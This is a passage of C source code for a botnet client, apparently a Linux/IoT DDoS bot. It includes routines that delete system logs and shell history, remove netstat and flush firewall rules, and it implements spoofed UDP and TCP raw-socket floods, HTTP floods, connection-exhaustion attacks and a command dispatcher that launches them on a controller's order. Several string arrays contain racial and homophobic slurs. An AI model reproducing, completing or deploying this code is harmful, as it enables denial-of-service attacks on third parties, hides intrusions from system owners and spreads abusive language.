  1818. system("rm -rf /var/log/wtmp");
  1819. system("rm -rf /tmp/*");
  1820. system("history -c");
  1821. system("rm -rf ~/.bash_history");
  1822. system("rm -rf /bin/netstat");
  1823. system("history -w");
  1824. system("pkill -9 busybox");
  1825. system("pkill -9 perl");
  1826. system("service iptables stop");
  1827. system("/sbin/iptables -F;/sbin/iptables -X");
  1828. }
  1829. int socket_connect(char *host, in_port_t port) {
  1830. struct hostent *hp;
  1831. struct sockaddr_in addr;
  1832. int on = 1, sock;
  1833. if ((hp = gethostbyname(host)) == NULL) return 0;
  1834. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1835. addr.sin_port = htons(port);
  1836. addr.sin_family = AF_INET;
  1837. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1838. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1839. if (sock == -1) return 0;
  1840. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1841. return 0;
  1842. return sock;
  1843. }
  1844. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1845. const char *useragents[] = {
  1846. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1847. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1848. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1849. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1850. "Opera/6.04 (Windows XP; U) [en]",
  1851. "Opera/9.99 (X11; U; sk)",
  1852. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1853. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1854. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  1855. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1856. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1857. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1858. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1859. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1860. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1861. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1862. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1863. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1864. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1865. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1866. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1867. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1868. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1869. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1870. "wii libnup/1.0",
  1871. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1872. "PSP (PlayStation Portable); 2.00",
  1873. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1874. "Doris/1.15 [en] (Symbian)",
  1875. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1876. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  1877. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1878. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1879. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1880. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1881. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1882. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  1883. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  1884. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  1885. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  1886. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  1887. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  1888. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  1889. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  1890. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1891. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1892. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1893. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  1894. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  1895. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  1896. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  1897. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  1898. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  1899. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  1900. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  1901. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  1902. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  1903. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  1904. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  1905. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  1906. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  1907. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  1908. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  1909. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  1910. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  1911. };
  1912. const char *connections[] = {"close", "keep-alive", "accept"};
  1913. int i, timeEnd = time(NULL) + timeFoo;
  1914. char request[512];
  1915. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  1916. for (i = 0; i < power; i++) {
  1917. if (fork()) {
  1918. while (timeEnd > time(NULL)) {
  1919. int socket = socket_connect((char *)host, port);
  1920. if (socket != 0) {
  1921. write(socket, request, strlen(request));
  1922. close(socket);
  1923. }
  1924. }
  1925. _exit(1);
  1926. }
  1927. }
  1928. }
  1929. void sendSTD(unsigned char *ip, int port, int secs) {
  1930. int iSTD_Sock;
  1931. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1932. time_t start = time(NULL);
  1933. struct sockaddr_in sin;
  1934. struct hostent *hp;
  1935. hp = gethostbyname(ip);
  1936. bzero((char*) &sin,sizeof(sin));
  1937. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1938. sin.sin_family = hp->h_addrtype;
  1939. sin.sin_port = port;
  1940. unsigned int a = 0;
  1941. while(1){
  1942. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "hackz", "shdyed", "http", "sghwiondc", "nigger", "pussy", "faggot"};
  1943. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1944. if (a >= 50)
  1945. {
  1946. send(iSTD_Sock, STD2_STRING, STD_PIGZ, 0);
  1947. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1948. if (time(NULL) >= start + secs)
  1949. {
  1950. close(iSTD_Sock);
  1951. _exit(0);
  1952. }
  1953. a = 0;
  1954. }
  1955. a++;
  1956. }
  1957. }
  1958. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1959. {
  1960. struct sockaddr_in dest_addr;
  1961. dest_addr.sin_family = AF_INET;
  1962. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1963. else dest_addr.sin_port = htons(port);
  1964. if(getHost(target, &dest_addr.sin_addr)) return;
  1965. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1966. register unsigned int pollRegister;
  1967. pollRegister = pollinterval;
  1968. if(spoofit == 32)
  1969. {
  1970. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1971. if(!sockfd)
  1972. {
  1973. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  1974. return;
  1975. }
  1976. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1977. if(buf == NULL) return;
  1978. memset(buf, 0, packetsize + 1);
  1979. makeRandomStr(buf, packetsize);
  1980. int end = time(NULL) + timeEnd;
  1981. register unsigned int i = 0;
  1982. while(1)
  1983. {
  1984. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1985. if(i == pollRegister)
  1986. {
  1987. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1988. if(time(NULL) > end) break;
  1989. i = 0;
  1990. continue;
  1991. }
  1992. i++;
  1993. }
  1994. } else {
  1995. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1996. if(!sockfd)
  1997. {
  1998. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  1999. return;
  2000. }
  2001. int tmp = 1;
  2002. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2003. {
  2004. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2005. return;
  2006. }
  2007. int counter = 50;
  2008. while(counter--)
  2009. {
  2010. srand(time(NULL) ^ rand_cmwc());
  2011. init_rand(rand());
  2012. }
  2013. int CNC;
  2014. in_addr_t netmask;
  2015. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2016. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2017. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2018. struct iphdr *iph = (struct iphdr *)packet;
  2019. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2020. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2021. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2022. udph->source = rand_cmwc();
  2023. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2024. udph->check = 0;
  2025. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2026. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2027. int end = time(NULL) + timeEnd;
  2028. register unsigned int i = 0;
  2029. while(1)
  2030. {
  2031. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2032. udph->source = rand_cmwc();
  2033. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2034. iph->id = rand_cmwc();
  2035. iph->saddr = htonl( HackerScan2(netmask) );
  2036. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2037. if(i == pollRegister)
  2038. {
  2039. if(time(NULL) > end) break;
  2040. i = 0;
  2041. continue;
  2042. }
  2043. i++;
  2044. }
  2045. }
  2046. }
  2047. void sendCNC(unsigned char *ip,int port, int end_time)
  2048. {
  2049. int end = time(NULL) + end_time;
  2050. int sockfd;
  2051. struct sockaddr_in server;
  2052. server.sin_addr.s_addr = inet_addr(ip);
  2053. server.sin_family = AF_INET;
  2054. server.sin_port = htons(port);
  2055. while(end > time(NULL))
  2056. {
  2057. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2058. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2059. sleep(1);
  2060. close(sockfd);
  2061. }
  2062. }
  2063. void sendJUNK(unsigned char *ip, int port, int end_time)
  2064. {
  2065. int max = getdtablesize() / 2, i;
  2066. struct sockaddr_in dest_addr;
  2067. dest_addr.sin_family = AF_INET;
  2068. dest_addr.sin_port = htons(port);
  2069. if(getHost(ip, &dest_addr.sin_addr)) return;
  2070. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2071. struct state_t
  2072. {
  2073. int fd;
  2074. uint8_t state;
  2075. } fds[max];
  2076. memset(fds, 0, max * (sizeof(int) + 1));
  2077. fd_set myset;
  2078. struct timeval tv;
  2079. socklen_t lon;
  2080. int valopt, res;
  2081. unsigned char *watwat = malloc(1024);
  2082. memset(watwat, 0, 1024);
  2083. int end = time(NULL) + end_time;
  2084. while(end > time(NULL))
  2085. {
  2086. for(i = 0; i < max; i++)
  2087. {
  2088. switch(fds[i].state)
  2089. {
  2090. case 0:
  2091. {
  2092. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2093. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2094. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2095. else fds[i].state = 1;
  2096. }
  2097. break;
  2098. case 1:
  2099. {
  2100. FD_ZERO(&myset);
  2101. FD_SET(fds[i].fd, &myset);
  2102. tv.tv_sec = 0;
  2103. tv.tv_usec = 10000;
  2104. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2105. if(res == 1)
  2106. {
  2107. lon = sizeof(int);
  2108. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2109. if(valopt)
  2110. {
  2111. close(fds[i].fd);
  2112. fds[i].state = 0;
  2113. } else {
  2114. fds[i].state = 2;
  2115. }
  2116. } else if(res == -1)
  2117. {
  2118. close(fds[i].fd);
  2119. fds[i].state = 0;
  2120. }
  2121. }
  2122. break;
  2123. case 2:
  2124. {
  2125. makeRandomStr(watwat, 1024);
  2126. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2127. {
  2128. close(fds[i].fd);
  2129. fds[i].state = 0;
  2130. }
  2131. }
  2132. break;
  2133. }
  2134. }
  2135. }
  2136. }
  2137. void sendHOLD(unsigned char *ip, int port, int end_time)
  2138. {
  2139. int max = getdtablesize() / 2, i;
  2140. struct sockaddr_in dest_addr;
  2141. dest_addr.sin_family = AF_INET;
  2142. dest_addr.sin_port = htons(port);
  2143. if(getHost(ip, &dest_addr.sin_addr)) return;
  2144. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2145. struct state_t
  2146. {
  2147. int fd;
  2148. uint8_t state;
  2149. } fds[max];
  2150. memset(fds, 0, max * (sizeof(int) + 1));
  2151. fd_set myset;
  2152. struct timeval tv;
  2153. socklen_t lon;
  2154. int valopt, res;
  2155. unsigned char *watwat = malloc(1024);
  2156. memset(watwat, 0, 1024);
  2157. int end = time(NULL) + end_time;
  2158. while(end > time(NULL))
  2159. {
  2160. for(i = 0; i < max; i++)
  2161. {
  2162. switch(fds[i].state)
  2163. {
  2164. case 0:
  2165. {
  2166. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2167. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2168. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2169. else fds[i].state = 1;
  2170. }
  2171. break;
  2172. case 1:
  2173. {
  2174. FD_ZERO(&myset);
  2175. FD_SET(fds[i].fd, &myset);
  2176. tv.tv_sec = 0;
  2177. tv.tv_usec = 10000;
  2178. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2179. if(res == 1)
  2180. {
  2181. lon = sizeof(int);
  2182. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2183. if(valopt)
  2184. {
  2185. close(fds[i].fd);
  2186. fds[i].state = 0;
  2187. } else {
  2188. fds[i].state = 2;
  2189. }
  2190. } else if(res == -1)
  2191. {
  2192. close(fds[i].fd);
  2193. fds[i].state = 0;
  2194. }
  2195. }
  2196. break;
  2197. case 2:
  2198. {
  2199. FD_ZERO(&myset);
  2200. FD_SET(fds[i].fd, &myset);
  2201. tv.tv_sec = 0;
  2202. tv.tv_usec = 10000;
  2203. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2204. if(res != 0)
  2205. {
  2206. close(fds[i].fd);
  2207. fds[i].state = 0;
  2208. }
  2209. }
  2210. break;
  2211. }
  2212. }
  2213. }
  2214. }
  2215. void sendUNKNOWN(unsigned char *ip, int secs) {
  2216. int packetsize = rand() % 65500, flag=1,fd,iUNK_SOCK;
  2217. int RandPorts[] = {80, 53, 8080, 443, 3074, 22, 23, 21, 20, 69, 587, 8080, 5000, 8000, 5222, 5223, 3724, 3127, 990, 28960, 14567};
  2218. int RP = rand() % (sizeof(RandPorts)/sizeof(char *));
  2219. iUNK_SOCK = socket(AF_INET, SOCK_DGRAM, 0);
  2220. time_t start = time(NULL);
  2221. struct sockaddr_in sin;
  2222. struct hostent *hp;
  2223. hp = gethostbyname(ip);
  2224. bzero((char*) &sin,sizeof(sin));
  2225. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  2226. sin.sin_family = hp->h_addrtype;
  2227. sin.sin_port = RP;
  2228. unsigned int i = 0;
  2229. while(1) {
  2230. char *RandString[] = {"nwonknu", "unknown", "hello", "slammed", "Linux", "Machines", "Dank", "Layer4", "hhfdhkhbhcace", "flood", "ugiydg", "IOHEDU9S", "SIAHDIYSGBILC", "DSFDD", "DVAS", "EFFAESF",
  2231. "uhdusaibxi", "OIEDNBOUBAS", "WQIJOIWENASO", "pkpinasoubc", "wubihbdc", "inopxuob", "wubiddsd", "savduhvaU", "UHyig732vgux", "UByovoouds", "saybuyyyywugav", "sdjbciysvhdaocu",
  2232. "dsibciwveas", "dsygc8y32723", "tydjtr", "tfkyt", "rsyreg", "HCKG", "uibeiubf", "YRXDJR", "YIFUKT", "YCJYRX", "7TUFF", "dsgdf", "idsh", "sgd", "gffag", "gfdag", "fgadf", "fbafdb", "fbbbf", "dfbdfb", "fdbxb"
  2233. };
  2234. char *UKN_STRING = RandString[rand() % (sizeof(RandString) / sizeof(char *))];
  2235. flag=1;
  2236. ioctl(fd,FIONBIO,&flag);
  2237. if (i >= 50) {
  2238. send(iUNK_SOCK, UKN_STRING, packetsize, 0);
  2239. connect(iUNK_SOCK,(struct sockaddr *) &sin, sizeof(sin));
  2240. if (time(NULL) >= start + secs) {
  2241. close(iUNK_SOCK);
  2242. _exit(0);
  2243. }
  2244. i = 0;
  2245. }
  2246. i++;
  2247. }
  2248. }
  2249. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2250. {
  2251. register unsigned int pollRegister;
  2252. pollRegister = pollinterval;
  2253. struct sockaddr_in dest_addr;
  2254. dest_addr.sin_family = AF_INET;
  2255. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2256. else dest_addr.sin_port = htons(port);
  2257. if(getHost(target, &dest_addr.sin_addr)) return;
  2258. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2259. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2260. if(!sockfd)
  2261. {
  2262. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2263. return;
  2264. }
  2265. int tmp = 1;
  2266. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2267. {
  2268. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2269. return;
  2270. }
  2271. int cnc;
  2272. in_addr_t netmask;
  2273. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2274. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2275. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2276. struct iphdr *iph = (struct iphdr *)packet;
  2277. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2278. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2279. tcph->source = rand_cmwc();
  2280. tcph->seq = rand_cmwc();
  2281. tcph->ack_seq = 0;
  2282. tcph->doff = 5;
  2283. if(!strcmp(flags, "all"))
  2284. {
  2285. tcph->syn = 1;
  2286. tcph->rst = 1;
  2287. tcph->fin = 1;
  2288. tcph->ack = 1;
  2289. tcph->psh = 1;
  2290. } else {
  2291. unsigned char *pch = strtok(flags, ",");
  2292. while(pch)
  2293. {
  2294. if(!strcmp(pch, "syn"))
  2295. {
  2296. tcph->syn = 1;
  2297. } else if(!strcmp(pch, "rst"))
  2298. {
  2299. tcph->rst = 1;
  2300. } else if(!strcmp(pch, "fin"))
  2301. {
  2302. tcph->fin = 1;
  2303. } else if(!strcmp(pch, "ack"))
  2304. {
  2305. tcph->ack = 1;
  2306. } else if(!strcmp(pch, "psh"))
  2307. {
  2308. tcph->psh = 1;
  2309. } else {
  2310. HackerPrint(D1ckSucka, "Invalid flag \"%s\"", pch);
  2311. }
  2312. pch = strtok(NULL, ",");
  2313. }
  2314. }
  2315. tcph->window = rand_cmwc();
  2316. tcph->check = 0;
  2317. tcph->urg_ptr = 0;
  2318. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2319. tcph->check = tcpcsum(iph, tcph);
  2320. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2321. int end = time(NULL) + timeEnd;
  2322. register unsigned int i = 0;
  2323. while(1)
  2324. {
  2325. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2326. iph->saddr = htonl( HackerScan2(netmask) );
  2327. iph->id = rand_cmwc();
  2328. tcph->seq = rand_cmwc();
  2329. tcph->source = rand_cmwc();
  2330. tcph->check = 0;
  2331. tcph->check = tcpcsum(iph, tcph);
  2332. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2333. if(i == pollRegister)
  2334. {
  2335. if(time(NULL) > end) break;
  2336. i = 0;
  2337. continue;
  2338. }
  2339. i++;
  2340. }
  2341. }
  2342. void processCmd(int argc, unsigned char *argv[])
  2343. {
  2344. int x;
  2345. if(!strcmp(argv[0], "PING"))
  2346. {
  2347. HackerPrint(D1ckSucka, "PONG!");
  2348. return;
  2349. }
  2350. if(!strcmp(argv[0], "GETLOCALIP"))
  2351. {
  2352. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2353. return;
  2354. }
  2355. if(!strcmp(argv[0], "NETIS"))
  2356. {
  2357. if(argc != 2)
  2358. {
  2359. return;
  2360. }
  2361. if(!strcmp(argv[1], "OFF"))
  2362. {
  2363. if(nscanPid == 0) return;
  2364. kill(nscanPid, 9);
  2365. nscanPid = 0;
  2366. }
  2367. if(!strcmp(argv[1], "ON"))
  2368. {
  2369. if(nscanPid != 0) return;
  2370. uint32_t parent;
  2371. parent = fork();
  2372. if (parent > 0) { nscanPid = parent; return;}
  2373. else if(parent == -1) return;
  2374. StartTheNetis();
  2375. _exit(0);
  2376. }
  2377. }
  2378. if(!strcmp(argv[0], "BOTKILL"))
  2379. {
  2380. if(!listFork())
  2381. {
  2382. HackerPrint(D1ckSucka, "Killing Bots");
  2383. botkiller();
  2384. RemoveTMP();
  2385. _exit(0);
  2386. }
  2387. }
  2388. if(!strcmp(argv[0], "SCANNER"))
  2389. {
  2390. if(argc != 2)
  2391. {
  2392. //HackerPrint(D1ckSucka, "SCANNER ON | OFF");
  2393. return;
  2394. }
  2395. if(!strcmp(argv[1], "OFF"))
  2396. {
  2397. if(scanPid == 0) return;
  2398. kill(scanPid, 9);
  2399. scanPid = 0;
  2400. }
  2401. if(!strcmp(argv[1], "ON"))
  2402. {
  2403. if(scanPid != 0) return;
  2404. uint32_t parent;
  2405. parent = fork();
  2406. if (parent > 0) { scanPid = parent; return;}
  2407. else if(parent == -1) return;
  2408. StartTheLelz();
  2409. _exit(0);
  2410. }
  2411. }
  2412. if(!strcmp(argv[0], "UDP"))
  2413. {
  2414. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2415. {
  2416. return;
  2417. }
  2418. unsigned char *ip = argv[1];
  2419. int port = atoi(argv[2]);
  2420. int time = atoi(argv[3]);
  2421. int spoofed = atoi(argv[4]);
  2422. int packetsize = atoi(argv[5]);
  2423. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2424. if(strstr(ip, ",") != NULL)
  2425. {
  2426. unsigned char *hi = strtok(ip, ",");
  2427. while(hi != NULL)
  2428. {
  2429. if(!listFork())
  2430. {
  2431. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2432. _exit(0);
  2433. }
  2434. hi = strtok(NULL, ",");
  2435. }
  2436. } else {
  2437. if (listFork()) { return; }
  2438. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2439. _exit(0);
  2440. }
  2441. }
  2442. if (!strcmp((const char *)argv[0], "HTTP")) {
  2443. if (argc < 6)
  2444. {
  2445. return;
  2446. }
  2447. if (strstr((const char *)argv[1], ",") != NULL) {
  2448. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2449. while (hi != NULL) {
  2450. if (!listFork()) {
  2451. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2452. _exit(0);
  2453. }
  2454. hi = (unsigned char *)strtok(NULL, ",");
  2455. }
  2456. } else {
  2457. if (listFork()) {
  2458. return;
  2459. }
  2460. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2461. _exit(0);
  2462. }
  2463. }
  2464. if(!strcmp(argv[0], "CNC"))
  2465. {
  2466. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2467. {
  2468. return;
  2469. }
  2470. unsigned char *ip = argv[1];
  2471. int port = atoi(argv[2]);
  2472. int time = atoi(argv[3]);
  2473. if(strstr(ip, ",") != NULL)
  2474. {
  2475. unsigned char *hi = strtok(ip, ",");
  2476. while(hi != NULL)
  2477. {
  2478. if(!listFork())
  2479. {
  2480. sendCNC(hi, port, time);
  2481. close(D1ckSucka);
  2482. _exit(0);
  2483. }
  2484. hi = strtok(NULL, ",");
  2485. }
  2486. } else {
  2487. if (listFork()) { return; }
  2488. sendCNC(ip, port, time);
  2489. _exit(0);
  2490. }
  2491. }
  2492. if(!strcmp(argv[0], "COMBO"))
  2493. {
  2494. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2495. {
  2496. return;
  2497. }
  2498. unsigned char *ip = argv[1];
  2499. int port = atoi(argv[2]);
